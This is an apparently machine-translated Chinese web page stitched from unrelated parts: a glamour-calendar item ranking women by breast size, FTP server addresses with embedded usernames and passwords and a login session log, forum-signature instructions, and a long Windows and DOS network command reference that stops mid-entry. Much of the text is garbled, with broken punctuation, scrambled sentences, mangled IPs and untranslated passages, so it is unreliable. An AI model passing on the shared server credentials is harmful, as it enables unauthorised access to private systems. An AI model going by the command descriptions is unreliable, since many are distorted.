Big wonderful calendar 2004 Jordan.
http://www. . Jmnews. . Com. . Cn 2004-12-23 11:25 Qianlong. .
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Jordan's love had become available, the cause is plain sailing, shooting with her boyfriend earlier TV jungle show made a sensational effect, Jordan played all the way soared. A while ago we introduced Jordan sexy calendar 2005, and now, we participated in the filming of her 2004 calendar recommend it to everyone, of course, the biggest selling point is still 32FF of the breast. (BERLIN). .
> > Nine big breasts <。.>
NO. UK Page Three girl Jordan .1. .
.2 Australian racing NO. Queen Sarah-Jane.
NO. .3 Serie Boobs Ferry Li. .
.4 serie Rome NO. baby fairy Lily.
NO. .5 Sun Christmas baby. .
F1 racing NO. .6 hot Girl.
NO. .7 Lazio sexy godmother Falci. .
.8 Marathon her NO. Lionel.
NO. .9 British Page Three Girl Jodi. .
[IMG] [/IMG]。.
[IMG]. .
[/IMG]。.
[IMG]. .
[/IMG]。.
[IMG]. .
[/IMG]。.
[IMG]. .
[/IMG]。.
[IMG]. .
[/IMG]。.
Film + TV FTP. .
IP: 202。.67。.150。.231。.
USER: lusochina. . Com. .
PASS: leech。.
[R] is connected to the 202. .67. .150. .231 -> IP = 202. .67. .150. .231 PORT = 21. .
[Right] connecting to 202. .231 .150 .67... ".
[R] 220 ---- Welcome to Pure-FTPd [privsep] ----。 .
[Right] 220-You are user allowed number 15 of 50.
[R] 220-Local time is now 16:02. . Server port: 21. .
[Right] 220-This is a private system – No anonymous login.
[R] 220 You will be disconnected after 3 minutes of inactivity. .
[Right] USER lusochina. .com.
[R] 331 User lusochina. . Com OK. . Password required. .
[Right] PASS (hidden).
[R] 230-Your bandwidth usage is restricted. .
[Right] 230-User lusochina. .com has access to: 501 group.
[R] 230 OK. . Current directory is /. .
[Right] SYST.
[R] 215 UNIX Type: L8. .
[Right] FEAT.
[R] 211-Extensions supported:. .
[Right] EPRT.
[R] IDLE. .
[Right] MDTM.
[R] SIZE. .
[Right] REST STREAM.
[R] MLST type *; size *; sizd *; modify *; UNIX. . Mode *; UNIX. . Uid *; UNIX. . Gid *; unique *;. .
MLSD [right].
[R] ESTP. .
[Right] PASV.
[R] EPSV. .
[Right] SPSV.
[R] ESTA. .
[Right] 211 End.
[R] CWD /. .
[Right] 250 OK. Current directory is /。.
[R] PWD. .
[Right] 257 "/" is your current location.
[R] TYPE A. .
[Right] ASCII 200 TYPE is now.
[R] PASV. .
[Right] 227 Entering Passive Mode (202, 67,150,231,172,102).
[R] is open data connection IP: 202. .67. .150. .231 Port: 44134. .
[Right] LIST-al.
[R] 150 Accepted data connection. .
[Right] 226-Options:-a-l.
[R] 226 5 matches total. .
[Right] list is complete: 299 bytes to 2. .69 SEC (0.1 KB/sec).
Moderator appointed posts of some ftp. .
ftp://218。.26。.223。.55。.
ftp://202. .109. .122. .10. .
ftp://218。.77。.119。.14。.
Anonymous login. .
Some software, and a movie.
ftp://52454:52 @ 218. .6. .174. .246 Film more. .
@ Js Member ftp://geren:geren. 221. .193 .30. .130.
liuxingyue. .
The primary member.
ftp://61. .139. .93. .68:1683. .
ftp://www。.eastgame。.net:thankyou4share@61。.177。.64。.171:8210。.
Let your signature was IP and the operating system! . .
In fact, very simple, just add a picture. Is this one: http://www. .danasoft. .com/vipersig. .jpg.
First of all, on this site http://www. . Danasoft. . Com /; for your personal private pictures, if you can not apply for use. .
Start an application.
Click the middle of custom signatures. .
Your email address: your Email (without authentication), but if you want to change the contents of the picture, it's a good idea to fill in your real Email.
Name your sign: your username is the name of your application for that picture, do not support the Chinese user name. .
Sign Language is not changed, still does not support Chinese, but believe that soon there.
Check those you want to include options you want to display the logo in the picture, several patterns are randomly displayed, you do not like to remove the hook on the line. .
There are several lines of Random Text, is displayed, insert the picture you want to display text, currently only supports English, not necessarily all fill.
Click the button below to submit, OK, buttoned up. .
Congratulations, you now have your own personalize signature!。.
The IMG tag for your new signature is:. .
http://www。.danasoft。.com/sig/XXX。.jpg。.
If you provided an email address an edit link has been sent to you to manage your signature. .
Remember that the address of the picture, then the index template in the right place to join.
If you do not want this to apply to join the default. .
Fix, HA HA!.
At the same time your mail will receive a link, is used to change the image content. .
Common command: DOS.
deltree dir out the file name to delete the directory tree cd cls clear screen to change the current directory. .
Copy copies the file copies disks diskcopy del to delete the file format to format the disk.
edit text editor mem view memory status of the establishment of a subdirectory md move moving files, change the directory name. .
More split-screen display type to display the contents of the file to remove a directory sys making rd DOS system disk.
ren to change the file name xcopy copy files and directories chkdsk check disk attrib set file attributes. .
Fdisk partition your hard drive to display date and modification date label sets the volume label defrag disk defragmentation.
msd system detects path set search directory share file sharing memmaker memory optimization management. .
Help help restore to restore the backup file set set the environment variable time displayed and modified.
tree column tree debug debugger doskey random re-call DOS command prompt prempt set to restore deleted files undelete scandisk test, repair the disk. .
Less common DOS commands.
diskcomp more append disk set of non-implementation of the file path. .
Expand restore DOS file fasthelp quickly display the help information.
fc file comparison interink start the server. .
Setver version intersvr is set to start the client.
subst paths with qbasic Basic integration environment. .
Vsafe antivirus unformat recover formatted disk.
ver display version number of DOS disk accelerator smartdrv set. .
Vol displays the disk volume label lh program loaded into upper memory.
ctty change control equipment emm386 extended memory management. .
The specific introduction: common commands.
1, Dir. .
Displays a list of files and subdirectories in the directory, Oh, this is, of course, everyone wants to know.
You can use wildcards (? And *),? Table wildcard character, * the table through with any character. .
*. Suffix.
To view the documents specified suffix. The above fact can be. ". Suffix," such as dir *. . Exe is equal to dir. . Exe. .
/p 。.
Each displays a list screen. To view the next screen, press any key on the keyboard. .
/w 。.
To wide-format list, displayed in each line up to 5 file names or directory names. .
/s 。.
Listed in the specified directory and all subdirectories for each appears in the specified file name. Environment than win the search much faster. .
Dir *. *-a .txt >. file list to write a. .txt.
dir *. .* / S -> a. . Txt file list of the current directory to write a. . Txt, including the subdirectory file. .
Second, the Attrib.
Display, set or remove assigned to the file or directory read-only, archive, system and hidden attributes. If the circumstances under which no parameters are attrib will show all the files in the current directory attributes. .
+r 。.
Set read-only attribute. .
-r 。.
Clear read-only attribute. .
+a 。.
Archive file attributes set. .
-a 。.
Clear the archive attribute. .
+s 。.
Set the system properties. .
-s 。.
Clear the system properties. .
+h 。.
Set the hidden attribute. .
-h 。.
Clear the hidden attribute. .
Third, the Cls.
Clear display window at the command prompt all of the information, and returns an empty window, that is "clear screen." .
4. Exit.
Exit the current command interpreter and return to the system. .
5. format.
Format. .
/q 。.
Perform a quick format. Remove the previous volumes formatted file table and root directory, but not between sectors scan damage area. Use the / q command-line option should only be formatted before the well-formatted volumes. .
VI. Ipconfig.
Show all current TCP / IP network configuration values, refresh the Dynamic Host Configuration Protocol (DHCP) and Domain Name System (DNS) settings. Use ipconfig without parameters to display all the adapter IP address, subnet mask, default gateway. .
/all 。.
Show all adapters complete TCP / IP configuration information. .
Ipconfig equivalent to the winipcfg, the latter in ME, 98 and 95. Although Windows XP is not the same as the winipcfg command provides a graphical interface, but you can use the "network connections" to view and update your IP address. To do this, open network connections, right-click a network connection, click the "status", and then click the "support" tab.
This command is configured to automatically obtain the most suitable for the computer IP address. It enables users to determine which TCP / IP configuration values from DHCP, automatic private IP address (APIPA) and other configuration configuration. .
Seven, md.
Create a directory or subdirectory. .
8. Move.
One or more files from one directory to the specified directory. .
9, Nbtstat.
In the local computer and remote computers based on TCP / IP (NetBT) NetBIOS protocol statistics, NetBIOS name tables and NetBIOS name cache. Nbtstat NetBIOS name cache and refresh the Windows Internet Name Service Registration (WINS) name. With no parameters using the nbtstat displays help. Nbtstat command line parameters are case-sensitive. .
-a remotename 。.
Display the remote computer's NetBIOS name table, which, RemoteName the remote computer's NetBIOS computer name. .
-A IPAddress 。.
Display the remote computer's NetBIOS name of the table, its name from the remote computer's IP address specified (in decimal separator). .
10. Netstat.
TCP connection showed activity, the computer listening port, Ethernet statistics, IP routing table, IPv4 statistics (for IP, ICMP, TCP and UDP protocols), and IPv6 statistics (for the IPv6, ICMPv6, IPv6, TCP through and through the IPv6-UDP protocol). If used without parameters, netstat displays active TCP connections. .
-a 。.
Show all activities of the TCP connection and the computer's TCP and UDP port listener. .
11. Ping.
By sending "Internet Control Message Protocol (ICMP)" echo request message to verify with another TCP / IP computer's IP-level connectivity. Echo response message from the process of reception and the number will be displayed. Ping is used to detect network connectivity, reachability, and name resolution of the difficult problems of the main TCP / IP command. If no parameters, ping displays help. Name and Ip address resolution is the most simple applications it is most used. .
-t 。.
Specifies the interrupt can continue to send a response before the ping request message to the destination. To interrupt and display statistics, press CTRL-BREAK. To interrupt and quit ping, press CTRL-C. .
-lSize 。.
Specified response request message to send "data" field of the length (in bytes). The default is 32. The maximum size is 65,527. .
12. Rename (Ren).
Change the file name. .
For example, .abc ren *. *. .cba.
13, Set. .
Displays, sets, or removes environment variables. If you do not have any parameters, set command displays the current environment settings.
14, Shutdown. .
Allows you to shutdown or restart the local or remote computer. If you do not use parameters, shutdown will log off the current user.
-M ComputerName. .
Specifies that you want to turn off the computer.
-T xx. .
Will be used for the system to shut down the timer set to xx seconds. The default value is 20 seconds.
-L. .
Log off the current user, this is the default setting. -ComputerName m..
-S. .
Shut down the local computer.
-R. .
Turn off after the restart.
-A. .
To abort the shutdown. In addition to the-l and ComputerName, the system ignores the other parameters. During the timeout period, you can use-a.
15, System File Checker (sfc). .
Win if you restart the computer after the scan and verify that all protected system files.
/ Scannow. .
Immediate scans all protected system files.
/ Scanonce. .
Last scan all protected system files.
/ Purgecache. .
Immediately clear the "Windows file protection file cache", and scans all protected system files.
/ Cachesize = x. .
Set the "Windows file protection" file cache size, in megabytes.
16, type. .
Displays the contents of a text file. Use the type command to view a text file or a bat file without modifying the file.
17, Tree. .
The image displays a path or drive disk directory structure.
18, Xcopy. .
Copy files and directories, including subdirectories.
/ S. .
Copies non-blank directory and subdirectories. If you omit the xcopy/s, will work in a directory.
/ E. .
Copies all subdirectories, including an empty directory.
19, copy. .
Add one or more files from one location to another location.
20, del. .
Deletes the specified file.
bat batch ftp and telnet commands and the net and sub-command as many here do not say, but these are common to the. .
Network: common commands.
1. . The most basic, the most commonly used to test the physical network. .
Ping .168.192.. .88-.10, t-t parameter is waiting for user to interrupt the test.
2. . See DNS, IP, Mac, etc.. .
A。.Win98：winipcfg 。.
B. . Win2000 or above: Ipconfig / all. .
.NSLOOKUP C.: DNS as viewing Hebei.
C: \> nslookup. .
Default Server: ns。.hesjptt。.net。.cn 。.
Address: 202. .99. .160. .68. .
> Server .99.202. .2 .41. changed the DNS 41. .2.
> Pop. . Pcpop. . Com. .
Server: ns。.hesjptt。.net。.cn 。.
Address: 202. .99. .160. .68. .
Non-authoritative answer: 。.
Name: pop. . Pcpop. . Com. .
Address: 202。.99。.160。.212 。.
3. . Web Messenger. .
Net send computer name/IP | * (broadcasting) to deliver content, careful not to cross-segment.
net stop messenger stop messenger service can also be in the panel - Service changes. .
Net start messenger to start the Messenger service.
4. . Probing each other the other computer name, the host of the group, domain, and the current user name. .
Ping-a IP-t to display only the NetBios name.
nbtstat-a 192. .168. .10. .146 Relatively sound. .
5. .netstat-a display of your computer is currently opening up all ports.
netstat-s-e a more detailed display of your network information, including TCP, UDP, ICMP and IP statistics and so on. .
6. detect arp binding (dynamic and static) list that displays all connected to my computer, display each other's IP and MAC address.
arp-a. .
7. in the proxy server.
Bundled IP and MAC address, LAN address theft IP:. .
ARP －s 192。.168。.10。.59 00－50－ff－6c－08－75 。.
Lifting of IP and MAC address of network card binding:. .
Arp-d network card IP.
8. . Hidden in the network neighborhood on your computer. .
net config server /hidden:yes 。.
net config server / hidden: no was open. .
9. several net command.
A. . Displays the current work group server list net view, with no options when using this command, it will display the current domain or network computer list. .
For example: to view the shared resources on IP, it can be.
C: \> net view 192. .168. .10. .8. .
In 192. .168. .10. .8 the shared resource.
Notes name type resource sharing purposes. .
————————————– 。.
Web Services Disk. .
The command completed successfully.
B. . See a list of user accounts on the computer net user. .
C.-view Web links net use.
For example: net use z: \ \ 192. .168. .10. .8 \ Movie will be the IP of the movie shared directory mapped to the local Z-disks. .
D.-record link net session.
For example:. .
C:\>net session 。.
Computer user name the types of customers to open free time. .
——————————————————————————- 。.
\ \ 192. .168. .10. .110 ROME Windows 2000 2195 0 00:03:12. .
\\192。.168。.10。.51 ROME Windows 2000 2195 0 00:00:39 。.
The command completed successfully. .
10. route tracking.
A. . Tracert pop. . Pcpop. . Com. .
Pop B.. .pcpop .pathping. .com in addition to displaying the routing, but also provide the analysis, calculating 325S lost packets per cent.
11. . On shared security, several commands. .
A.. view your machine's net share the shared resource.
B. . Manually delete the share. .
net share c$ /d 。.
net share d $ / d. .
net share ipc$ /d 。.
net share admin $ / d. .
Note that the spaces are after.
C. . Add a share:. .
c:\net share mymovie=e:\downloads\movie /users:1 。.
mymovie shared success. .
At the same time limit the number of users linking to one person.
12. . In the DOS line under the setting static IP. .
A.. setting a static IP.
CMD. .
netsh 。.
netsh> int. .
interface>ip 。.
interface ip> set add "Local Links" static IP address mask gateway. .
B.-view the IP settings.
interface ip> show address. .
Arp 。.
Display and modify the "Address Resolution Protocol (ARP)" in the cache item. ARP cache contains one or more tables, they are used to store the IP address and through the analysis of Ethernet or Token Ring physical addresses. Each installed on your computer Ethernet or Token Ring network adapter has its own separate table. If no parameters, the use of the arp command will display help information. .
Syntax.
arp [-a [InetAddr] [-N IfaceAddr]] [-g [InetAddr] [-N IfaceAddr]] [-d InetAddr [IfaceAddr]] [-s InetAddr EtherAddr [IfaceAddr]]. .
Parameter.
-A [InetAddr] [-N IfaceAddr]. .
Show all interface's current ARP cache table. Specify the IP address you want to display the ARP cache entries, use the ARP with InetAddr parameter-a, where InetAddr represents the specified IP address. To display the ARP cache for a specified interface, use the-N parameter where IfaceAddr IfaceAddr representative assigned to the specified IP address of the interface. The-n argument is case-sensitive.
-G [InetAddr] [-N IfaceAddr]. .
With the-a.
-D InetAddr [IfaceAddr]. .
Deletes the specified IP address entries, where InetAddr represents IP address. For the specified interface, you want to delete an item in the table, use the IfaceAddr parameter where IfaceAddr representative of assigned the IP address of the interface. To delete all entries, use the asterisk (*) wildcard character instead of InetAddr.
-S InetAddr EtherAddr [IfaceAddr]. .
Add to the ARP cache can be resolved to an IP address InetAddr EtherAddr physical address of the static items. To specify the interface table to add a static ARP cache entries, use the IfaceAddr parameter where IfaceAddr representative of assigned the IP address of the interface.
/?. .
Displays help at the command prompt.
Note. .
InetAddr and IfaceAddr used the IP address in dotted decimal notation.
Physical Address EtherAddr of six bytes, the bytes with hexadecimal notation and separated by hyphens (eg ,00-AA-00-4F-2A-9C). .
By the-s parameter added items are static, they are not the ARP cache. If you terminate the TCP/IP Protocol on startup, these items will be deleted. To create a permanent static ARP cache entries, in batch files by using the appropriate arp command and pass the "Task Scheduler" at startup, run the batch file.
Only when the Internet Protocol (TCP / IP) protocol is installed in the network connection properties for the network adapter component, the command can be used. .
Paradigm.
To display all interfaces of the ARP cache table, type:. .
arp -a。.
For the assigned IP address is 10. .0. .0. .99 Interface, to display the ARP cache table, type:. .
arp -a -N 10。.0。.0。.99。.
To add the IP address of 10. .0. .0. .80 Resolves the physical address 00-AA-00-4F-2A-9C static ARP cache entries, type: arp-s 10. .0. .0. .80 00-AA-00-4F-2A-9C. .
13。.At 。.
Program at a designated time and date on the computer to run commands and procedures. at the command only "plan" service runtime. If the case in the absence of parameters to use, then at lists scheduled commands. .
Syntax.
at [\ \ ComputerName] [([ID] [/ delete] | / delete [/ yes])]. .
at [[\\ComputerName] hours:minutes [/interactive] [{/every:date[,。.] |/next:date[,。.]}] command]。.
Parameters. .
\\computername 。.
The specified remote computer. If you omit this parameter, then the plan at the local computer commands and procedures. .
ID 。.
Planned orders assigned to the specified identifier. .
/delete 。.
Cancellation of planned orders. If you omit the ID, then the computer commands all plans will be canceled. .
/yes 。.
Delete the program event, from the system all queries answered "yes." .
hours:minutes 。.
Command to run the specified time. The time in 24 hour clock (from 00:00 [midnight] to 23:59) in hours: minutes format. .
/interactive 。.
When running the command for the logged on user, allowing command and the user interact with the desktop. .
/every: 。.
Each week or month in the specified date (for example, every Thursday, or the third day of each month) to run command command. .
date 。.
Run the command specified date. You can specify a certain day or days a week (that is, type M, T, W, Th, F, S, Su) or one month in a day or days (ie, type from a number between 1 and 31) . Separate multiple date entries with a comma. If you omit the date, then at the current day of the month to use. .
/next: 。.
The next specified date (for example, next Thursday) comes running command. .
command 。.
Designated to run the Windows command, program (.. Exe or.. Com file) or batch program (.. Bat or.. Cmd files). When the command requires a path as an argument, use the absolute path, that is, starting from the drive the entire route. If the command on the remote computer, specify the server and share name of universal naming conventions (UNC) notation, rather than a remote drive letter. .
/? 。.
Displays help at the command prompt. .
Comments.
Schtasks is more powerful superset of the command line program tool at the command line tool with all the features. Command-line program for all tasks, can be used to replace schtasks at. For more information about schtasks, see the "Related Topics." .
Use at. ..
Use the at command, require that you must be a member of the local Administrators group. .
Loads the .exe. Cmd.
Before running the command, At does not automatically load Cmd. . Exe (command interpreter). If you do not run the executable file (.. Exe), then in command at the beginning of the method must be used as follows special load Cmd. . Exe:. .
cmd /c dir > c:\test。.out。.
View the program command. .
When not used with command line options, at the scheduled task will appear in a format similar to the following: in the table.
Status ID Day Time Command Line. .
OK 1 Each F 4:30 PM net send group leads status due 。.
OK 2 Each M 12:00 AM chkstor> check. . File. .
OK 3 Each F 11:59 PM backup2。.bat 。.
Include identification number (ID). .
When used in a command prompt with the identification number (ID) at command, a single task information is displayed in a format similar to the following:.
Task ID: 1. .
Status:OK。.
Schedule: Each F. .
Time of Day:4:30 PM。.
Command: net send group leads status due when the plan with the at command (especially with a command-line options of the command), the non-through type at the command line option to check the command syntax is typed correctly. If the display in the "Command Line" column in the information is incorrect, please delete the command, and then re-type it. If not correct, you can re-type the command make it less with some command line options. See the results. .
Use the at command scheduled to run as background processes. The results will not display on your computer. To redirect output to a file, use a redirection symbol (>). If you redirect output to a file, either on the command line or in a batch file, you will need to use at the redirection symbols by using the escape character (^). For example, to redirect output to a file for Output., .text type:.
at 14:45 c: \ test. . Bat ^> c: \ output. . Txt. .
Execution of the order of the current directory to the systemroot folder.
Change the system time. .
In use at schedule a command to run after that if you change the computer's system time by typing without command-line options at enables the at Scheduler with the revised system time synchronization.
Storage command. .
Scheduled commands are stored in the registry. As a result, when you restart the "program" service, you do not lose scheduled tasks.
Connected to the network drive. .
The need for access to the network of a scheduled job, please do not use a redirected drive. "Program" service may not be able to access the redirected drive, or, in the scheduled task run time if other users are logged on, the redirected drive may not appear. Therefore, for a scheduled job, use the UNC path. For example:.
at 1:00 pm my_backup \ \ server \ share. .
Please do not use the following syntax (where x:? represents user connections).
at 1:00 pm my_backup x:. .
If you plan a use drive letters at command to connect to the shared directory, you should include an at command to complete the drive when using connect disconnected from the drive. If you cannot disconnect drive, at a command prompt, the assigned drive letter is unavailable.
Example. .
To show Marketing server lists scheduled commands, type:.
at \ \ marketing. .
To understand the server identification number 3 on the Corp's command, type:.
at \ \ corp 3. .
To schedule at 8: 00 a.m. on the Corp server running on a network share, and the list will be redirected to the Maintenance server Corp. .txt file (located in the shared directory Reports), type:.
at \ \ corp 08:00 cmd / c "net share reports = d: \ marketing \ reports>> \ \ maintenance \ reports \ corp.. txt". .
For every five days after midnight the Marketing server hard drive backup to a tape drive, first create a named Archive. .cmd batch program (which contains the backup command), and then schedule the batch program to run, and type:.
at \ \ marketing 00:00 / every: 5,10,15,20,25,30 archive. .
To cancel the current server planned all command, use the following method to clear the at schedule information:.
at / delete. .
If the command to run is not an executable (. .exe) file that follows the method used before the commands to load Cmd cmd/c. .exe:.
cmd / c dir> c: \ test. . Out. .
14。.Rsh 。.
RSH services running on remote computers run commands. Windows XP and Windows 2000 does not provide RSH service. Windows 2000 Server Resource Kit to provide named Rshsvc. . Exe's RSH service. Rsh with no parameters using the display to help. .
Syntax.
rsh [Host] [-l UserName] [-n] [Command]. .
Parameter.
Host. .
Specifies the run command on the remote computer.
-L UserName. .
Specifies the remote computer using the user name. When omitted, the currently logged on user name.
-N. .
The input of rsh to be redirected to the NULL device. This prevents local computer command to display the results.
Command. .
Specifies the command to run.
/?. .
Displays help at the command prompt.
Note. .
Standard operations.
rsh command to copy standard input to the remote command, standard output of the remote copy command to its standard output, standard error remote copy command to its standard error. Rsh normally terminate when the remote command to terminate. .
Using redirection symbols.
In order to redirect the remote computer occurs, we should live quotes cited redirection symbols (for example ">>")。 If you do not use quotation marks, redirection will happen on the local computer. For example, the following command to remote file "RemoteFile" attached to a local file "LocalFile" in:. .
rsh othercomputer cat remotefile >> localfile。.
The following command will attach to a remote file remote file otherremotefile Remotefile in:. .
rsh othercomputer cat remotefile “>>” otherremotefile。.
Use of rsh. .
When using the logged-on to a domain and running Windows XP Professional-based computer, the domain's primary domain controller must be available to verify the user name or the rsh command failed.
rhosts file. .
Rhosts file typically licensed UNIX system for network access. .rhosts file lists can access the remote computer's machine name and the associated login. In a properly configured .rhosts file was. running on a remote machine or rcp, rexec, rsh command on a remote computer that you don't need to provide logon and password information.
rhosts file is a text file, the file is an entry for each act. Entries from the local computer name, local user name and purpose of all the comments about the composition of the article. Each entry separated by tabs or spaces, comments, symbols (#) Heading. For example:. .
host7 #This computer is in room 31A。.
rhosts file must be in the remote computer user home directory. The remote computer. . Rhosts file specific implementation details, please refer to the remote system's documentation. .
Only when the Internet Protocol (TCP/IP) Protocol in the network connection is installed as a network adapter property of the component, the command is available.
Example. .
You want to name admin1 on remote computer vax1 telcon command execution on, type:.
rsh vax1-l admin1 telcon. .
15。.Tftp 。.
To run the ordinary File Transfer Protocol (TFTP) service or daemon of the remote computer (especially running UNIX computer) to transfer files or run the trivial file transfer protocol from (TFTP) service or daemon of the remote computer (especially a computer running UNIX) transmission file. .
Syntax.
tftp [-i] [Host] [(get | put)] [Source] [Destination]. .
Parameter.
-I. .
Specifies binary image transfer mode (also known as octal mode). In binary image mode, the file to a byte are transmitted as a unit. Transmission of binary files use this mode. If you omit the-I, the files will be transferred in ASCII mode. This is the default transfer mode. This mode converts the end-of-line (EOL) characters to be converted to the appropriate format on the specified computer. Transmit text files use this mode. If file transfer is successful, the data transfer rate will be displayed.
Host. .
Specify a local or remote computer.
put. .
The local Destination file on your computer to transfer to the remote Source file on your computer. Because the TFTP protocol does not support user authentication, the user must be logged on to the remote computer at the same file on the remote computer must be writable.
get. .
Will the Destination on a remote computer, the file transfer to the local Source files on your computer.
Source. .
Specifies the file you want to transfer.
Destination. .
Specifies the location of the file to. If you omit the Destination, it is assumed it with the same name as the Source.
/?. .
Displays help at the command prompt.
Note. .
Use the get parameters.
If the local computer files FileTwo sent to the remote computer file FileOne, the designated put. If the remote computer file FileTwo sent to the remote computer file FileOne, is designated get. .
Windows XP or Windows 2000 does not provide a general purpose TFTP server. Windows 2000 provides a TFTP Server service for Windows XP and Windows 2000 client computers with remote boot capabilities.
Only when the Internet Protocol (TCP / IP) protocol is installed in the network connection properties for the network adapter component, the command can be used. .
Paradigm.
From the local computer files Users. . Txt sent to the remote computer vax1 the Users19. . Txt, type:. .
tftp vax1 put users。.txt users19。.txt 。.
16. . Nbtstat. .
Displays the local computer and remote computers over TCP/IP (NetBT) protocol statistics, NetBIOS NetBIOS name table and the NetBIOS name cache. Nbtstat can refresh the NetBIOS name cache, and registering Windows Internet name service (WINS) name. Used without parameters, the nbtstat displays help.
Syntax. .
nbtstat [-a RemoteName] [-A IPAddress] [-c] [-n] [-r] [-R] [-RR] [-s] [-S] [Interval]。.
Parameters. .
-a remotename 。.
Display the remote computer's NetBIOS name table, which, RemoteName the remote computer's NetBIOS computer name. NetBIOS name of the table is running on the computer's NetBIOS name of the application uses the list. .
-A IPAddress 。.
Display the remote computer's NetBIOS name of the table, its name from the remote computer's IP address specified (in decimal separator). .
-c 。.
Display NetBIOS name cache contents, NetBIOS name table and resolve all addresses. .
-n 。.
Display the local computer NetBIOS name table. Registered in the state that the name is registered by broadcast or WINS server's. .
-r 。.
Display NetBIOS name resolution statistics. Configured to use WINS, Windows XP computer, this parameter returns have been on the radio and WINS name resolution and registration number. .
-R 。.
Clear the contents of the NetBIOS name cache and reload from Lmhosts file with the # PRE tag projects. .
-RR 。.
Re-release and refresh the WINS registration through the local computer's NetBIOS name. .
-s 。.
Display NetBIOS client and server sessions, and try to target IP addresses into names. .
-S 。.
Display NetBIOS client and server sessions, only IP addresses listed by the remote computer. .
Interval 。.
Again shows the selected statistics, can break between each show the number of seconds specified in Interval. Press CTRL + C to stop the show statistics. If this parameter is omitted, netstat will only display the current configuration information once. .
/? 。.
Displays help at the command prompt. .
Comments.
Nbtstat command line parameters are case-sensitive. .
The following table lists the columns generated by Nbtstat. Title description.
Input the number of bytes received. .
Output the number of bytes sent.
In / Out of the connection is from computer (outgoing) or other computer to the local computer (incoming). .
Lift name table cache entries in memory before being cleared.
Local Name of local NetBIOS name associated with the connection. .
Remote Host and the remote computer name or IP address.
<03> 转化为十六进制的 NetBIOS 名称的最后一个字节。每个 NetBIOS 名称长度均为 16 个字符。由于最后一个字节通常有特殊的意义，因为相同的名称（只有最后一个字节不同）可能在一台计算机上出现几次。例如，<20> 在 ASCII 文本中是一个空格。
Type the name of the type. Name can be a single name, it can be group name. .
Status on a remote computer that is running NetBIOS services (the "registered"), or on the same computer name has been registered for the same service (the "conflict").
State NetBIOS connection state. .
The following table lists the possible NetBIOS connection status. Status descriptions.
Connected session is established. .
The associated connection endpoint has been created and associated with an IP address.
The end points are answered within a connection is available. .
Idle the end point is already open but does not receive the connection.
Connecting to a session at the connection stage. Analysis at this stage is the selected target by name to IP address mapping. .
To accept an inbound session is currently being accepted and will be connected shortly.
Reconnect the session will attempt to reconnect (if the first connection fails). .
The outbound session is in the connecting phase. This phase is to create a TCP connection.
Inbound connection of inbound sessions. .
Is disconnected from the session is disconnected.
Has been disconnected on the local computer is disconnected, and is awaiting confirmation of the remote system. .
Only when the Internet Protocol (TCP/IP) Protocol in the network connection is installed as a network adapter property of the component, the command is available.
Example. .
To display the NetBIOS computer name, the remote computer for CORP07 NetBIOS name table, type:.
nbtstat-a CORP07. .
To display the assigned IP address is 10. .0 .0.. .99 remote computer's NetBIOS name table, type:.
nbtstat-A 10. .0. .0. .99. .
To display the NetBIOS name of the local computer, type: table.
nbtstat-n. .
To display the NetBIOS name cache on the local computer, type:.
nbtstat-c. .
To clear the NetBIOS name cache and reload the local Lmhosts file with tag # PRE project, type:.
nbtstat-R. .
A WINS server to release the NetBIOS name registration and re-registration, type:.
nbtstat-RR. .
To every 5 seconds to display the IP address of the NetBIOS session statistics, type:.
nbtstat-S 5. .
17。.Netstat 。.
TCP connection showed activity, the computer listening port, Ethernet statistics, IP routing table, IPv4 statistics (for IP, ICMP, TCP and UDP protocols), and IPv6 statistics (for the IPv6, ICMPv6, IPv6, TCP through and through the IPv6-UDP protocol). If used without parameters, netstat displays active TCP connections. .
Syntax.
netstat [-a] [-e] [-n] [-o] [-p Protocol] [-r] [-s] [Interval]. .
Parameter.
-A. .
Displays all active TCP connections and the computer is listening on TCP and UDP ports.
-E. .
Displays Ethernet statistics, such as the number of bytes transmitted and received, the number of packets. This parameter can be used in conjunction with-s.
-N. .
Displays active TCP connections, however, only in digital form of address and port number, do not try to determine the name.
-O. .
Displays active TCP connections and includes each connection process ID (PID). You can in Windows Task Manager's "processes" tab to find applications that are based on the PID. This parameter can be-a,-n and-p..
-P Protocol. .
Displays the Protocol specified by the agreement. In this case, the Protocol can be tcp, tcpv6, udp, or udpv6. If this parameter is used in conjunction with the-s displays per-protocol statistics, the Protocol can be tcp, udp, icmp, ip, tcpv6, ipv6, icmpv6, or udpv6.
-S. .
Display statistics by Protocol. By default, displays the TCP, UDP, ICMP and IP protocol statistics. If you install the IPv6 protocol for Windows XP, it will display the relevant IPv6 TCP, UDP, IPv6, ICMPv6, and statistical information about the IPv6 protocol. You can use the-p parameter specifies the set of protocols.
-R. .
Displays the contents of the IP routing table. The route print command is equivalent.
Interval. .
Every Interval seconds replay once selected information. Press CTRL + c to stop redisplaying statistics. If this argument is omitted, netstat will print only the selected information at a time.
/?. .
Displays help at the command prompt.
Note. .
Used in conjunction with the command parameter must start with a hyphen (-) instead of to short a slash (/) as a prefix.
Netstat provides the following statistics:. .
Proto 。.
Protocol name (TCP or UDP). .
Local Address 。.
Local computer's IP address and port number being used. If you do not specify the-n parameter, it displays the name of IP address and port corresponding to the local computer name. If the port has not been established, the port with an asterisk (*) show. .
Foreign Address 。.
Connecting the slot of the remote computer IP address and port number. If you do not specify the-n parameter, it displays the corresponding IP address and port name. If the port has not been established, the port with an asterisk (*) show. .
(state) 。.
That the state of TCP connections. Possible states are as follows:. .
CLOSE_WAIT。.
CLOSED. .
ESTABLISHED。.
FIN_WAIT_1. .
FIN_WAIT_2。.
LAST_ACK. .
LISTEN。.
SYN_RECEIVED. .
SYN_SEND。.
TIMED_WAIT. .
The TCP connection state information, see RFC 793.
Only when the Internet Protocol (TCP / IP) protocol is installed in the network connection properties for the network adapter component, the command can be used. .
Paradigm.
To display Ethernet statistics and statistics for all protocols, type the following command:. .
netstat -e -s。.
To display only TCP and UDP protocol statistics, type the following command:. .
netstat -s -p tcp udp。.
To display an event every 5 seconds, the TCP connection and the process ID, please type the following command:. .
nbtstat -o 5。.
To display activity in digital form TCP connections and the process ID, please type the following command:. .
nbtstat -n -o。.
18. . Runas. .
Allows the user to use other permissions to run the specified tool and procedure instead of the user's current logon provides.
Syntax. .
runas [{/profile|/noprofile}] [/env] [/netonly] [/smartcard] [/showtrustlevels] [/trustlevel] /user:UserAccountName program。.
Parameters. .
/profile 。.
Load the user profile. / Profile is the default. .
/no profile 。.
/ Noprofile not load the specified user profile. This allows applications to load faster, but in some applications can cause errors. .
/env 。.
Specify the current use of the network environment, rather than the user's local environment. .
/netonly 。.
Specified only for the specified remote access user information. .
/smartcard 。.
